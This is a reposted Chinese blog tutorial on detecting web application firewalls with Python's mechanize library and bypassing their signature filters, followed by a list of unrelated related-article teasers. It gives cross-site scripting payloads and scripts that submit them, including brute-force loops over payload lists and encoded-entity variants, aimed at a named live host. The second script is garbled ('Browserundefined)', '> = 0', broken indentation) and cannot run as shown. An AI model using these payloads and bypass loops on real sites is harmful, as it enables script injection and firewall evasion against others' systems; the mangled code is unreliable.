使用Python检测并绕过Web应用程序防火墙

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273 参考文章:click hereWeb应用程序防火墙用来过滤恶意流量。
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273

参考文章:click here

Web应用程序防火墙用来过滤恶意流量。

基于签名的防火墙

在基于签名的防火墙中,定义了签名,因为网络攻击也遵循类似的模式或签名。所以我们可以定义匹配模式并阻止它们。

Payload :- <svg><script>alert`1`<p>

上面定义的有效载荷是一种跨站点脚本攻击,这些攻击都可以包含以下子串 - >“<script>”,我们可以定义如下定义的2-3个签名:

1、<script>
2、alert(*)

第一个签名将阻止包含<script>子串的任何请求。
第二个将阻止警报(任何文本)。那么这就是基于签名的防火墙的工作原理。

怎么知道有防火墙?

开始攻击以前,先测试是否有防火墙。

这段消息告诉我们,防火墙阻碍了我们的攻击。

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.

下面,尝试用python脚本检测防火墙,并且绕过它。
1、定义HTML文档和PHP脚本
定义我们的HTML文档来注入有效载荷和相应的PHP脚本来处理数据。
我们下面定义了这两个。
将使用以下HTML文档:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

waf.php:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

2、准备恶意请求
检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。 我们将使用一个名为“Mechanize”的python模块,了解更多关于此模块的信息click here

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)

3、准备有效载荷
在HTML文档中,我们使用以下代码指定了一个输入字段:

input type =“text”name =“data”> <br>

您可以看到该字段的名称是“data”,我们可以使用以下代码来定义此字段的输入:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad

第一行将我们的有效载荷保存在一个变量中
第二行,我们已将我们的有效内容分配给表单字段“data”。 我们现在可以安全地提交此表格并检查答复。
4、提交表单并记录回复

maliciousRequest.submit()
response =  maliciousRequest.response().read()
print response

提交表单
将响应保存在变量中
打印响应
没有安装防火墙得到如下响应:

5、检测防火墙的存在
名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。 我们将尝试在本教程中检测到以下防火墙的存在。WebKnight
mod_security
Dot Defender
python代码:

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"

如果安装了Web Knight防火墙,并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。 同样,我们也可以检查其他2个防火墙。 我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。

使用强力来绕过防火墙过滤器

开头提到,大多数防火墙基于签名阻止请求。 但可以使用数千种方式构建有效载荷。 Java脚本复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。 请注意,如果防火墙规则被明确定义,这种方法可能无法正常工作。 让我们看看我们如何使用python来硬肛:

listofPayloads = ['&lt;dialog open="" onclose="alertundefined1)"&gt;&lt;form method="dialog"&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;/form&gt;&lt;/dialog&gt;','&lt;svg&gt;&lt;script&gt;prompt&amp;#40 1&amp;#41&lt;i&gt;','&lt;a href="&amp;#1;javascript:alertundefined1)"&gt;CLICK ME&lt;a&gt;'
]
for payLoads in listofPayloads:    
maliciousRequest = mec.Browserundefined)
formName = 'waf'    
maliciousRequest.openundefined(http://check.cyberpersons.com/crossSiteCheck.html)")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined 'WebKnight' ) &gt; = 0:        
print "Firewall detected: WebKnight"    
elif 
response.findundefined 'Mod_Security') &gt; = 0:        
print "Firewall detected: Mod Security"
elif
response.findundefined 'Mod_Security' ) &gt; = 0 :        
print "Firewall detected: Mod Security"
elif
response.findundefined 'dotDefender' ) &gt; = 0 :        
print "Firewall detected: Dot Defender"    
else:       
print "No Firewall Present"

在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效载荷
然后在for循环中,我们做了与上面所做的相同的过程,但这次是列表中的每个有效载荷
在收到响应后,我们再次比较看看防火墙是否存在。
没有防火墙的输出:

将HTML标签转换为Unicode或Hex实体

如果例如防火墙正在过滤html标签,如<,>。 我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始格式,如果是这样,那么这也可能是一个入口点。 以下代码可用于检查此过程:

listofPayloads = ['&lt;b&gt;','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
   maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"

每次我们将发送编码的条目,并在响应中我们将检查是否转换或打印回没有转换,当我运行这个代码我得到这个输出


表示没有编码的条目被转换为其原始格式

上面代码好零碎,完整代码打包下载:click here

相关文章
|
人工智能 Linux 开发工具
Python从零到一:手把手带你写出第一个实用程序
Python语法简洁易懂,适合编程新手入门。它广泛应用于人工智能、自动化办公、Web开发等领域。学习Python可快速搭建项目,拥有丰富库支持和强大社区资源。通过本教程,你将掌握基础语法、环境搭建、程序逻辑控制及实战项目开发,开启编程之旅。
1498 0
|
12月前
|
弹性计算 监控 网络安全
如何轻松使用AWS Web应用程序防火墙?
AWS WAF是Web应用防火墙,可防护常见网络攻击。通过创建Web ACL并设置规则,保护CloudFront、API网关、负载均衡器等资源。支持自定义规则与OWASP预定义规则集,结合CloudWatch实现监控日志,提升应用安全性和稳定性。
|
安全 JavaScript 前端开发
AppSpider 7.5.020 发布 - Web 应用程序安全测试
AppSpider 7.5.020 for Windows - Web 应用程序安全测试
316 0
|
存储 安全 Java
如何在 Spring Web 应用程序中使用 @SessionScope 和 @RequestScope
Spring框架中的`@SessionScope`和`@RequestScope`注解用于管理Web应用中的状态。`@SessionScope`绑定HTTP会话生命周期,适用于用户特定数据,如购物车;`@RequestScope`限定于单个请求,适合无状态、线程安全的操作,如日志记录。合理选择作用域能提升应用性能与可维护性。
457 1
|
12月前
|
设计模式 决策智能 Python
Python条件控制:让程序学会"思考"的魔法
本文深入浅出地讲解Python条件控制,从基础if语句到多分支、嵌套结构,再到简洁的三元表达式与Python 3.10新增的match-case模式匹配,结合电商折扣、会员等级、ATM系统等实战案例,全面掌握程序“智能决策”的核心逻辑。
676 0
|
PyTorch 算法框架/工具 C++
人工智能算法python程序运行环境安装步骤整理
本教程详细介绍Python与AI开发环境的配置步骤,涵盖软件下载、VS2017安装、Anaconda配置、PyCharm设置及组件安装等内容,适用于Windows系统,助你快速搭建开发环境。
|
Linux 数据库 数据安全/隐私保护
Python web Django快速入门手册全栈版,共2590字,短小精悍
本教程涵盖Django从安装到数据库模型创建的全流程。第一章介绍Windows、Linux及macOS下虚拟环境搭建与Django安装验证;第二章讲解项目创建、迁移与运行;第三章演示应用APP创建及项目汉化;第四章说明超级用户创建与后台登录;第五章深入数据库模型设计,包括类与表的对应关系及模型创建步骤。内容精炼实用,适合快速入门Django全栈开发。
757 1
|
机器学习/深度学习 前端开发 API
python3如何使用QT编写基础的对话框程序
Qt与Python结合形成了PyQt/PySide,为桌面应用开发提供强大支持。通过简单安装PyQt5或PySide6,开发者可快速搭建跨平台GUI应用。本文从创建基础对话框入手,介绍布局管理、信号与槽机制、对话框模式及样式表美化等核心功能,并探讨模态窗口、事件驱动编程和资源打包等内容。最后,引导读者探索模型视图架构、多线程处理等进阶技术,逐步掌握用Python+Qt开发高效桌面应用的技能。
478 0
|
安全 Linux 应用服务中间件
在Linux中,包过滤防火墙与代理应用防火墙有什么区别?有哪些相应的产品?
在Linux中,包过滤防火墙与代理应用防火墙有什么区别?有哪些相应的产品?

推荐镜像

更多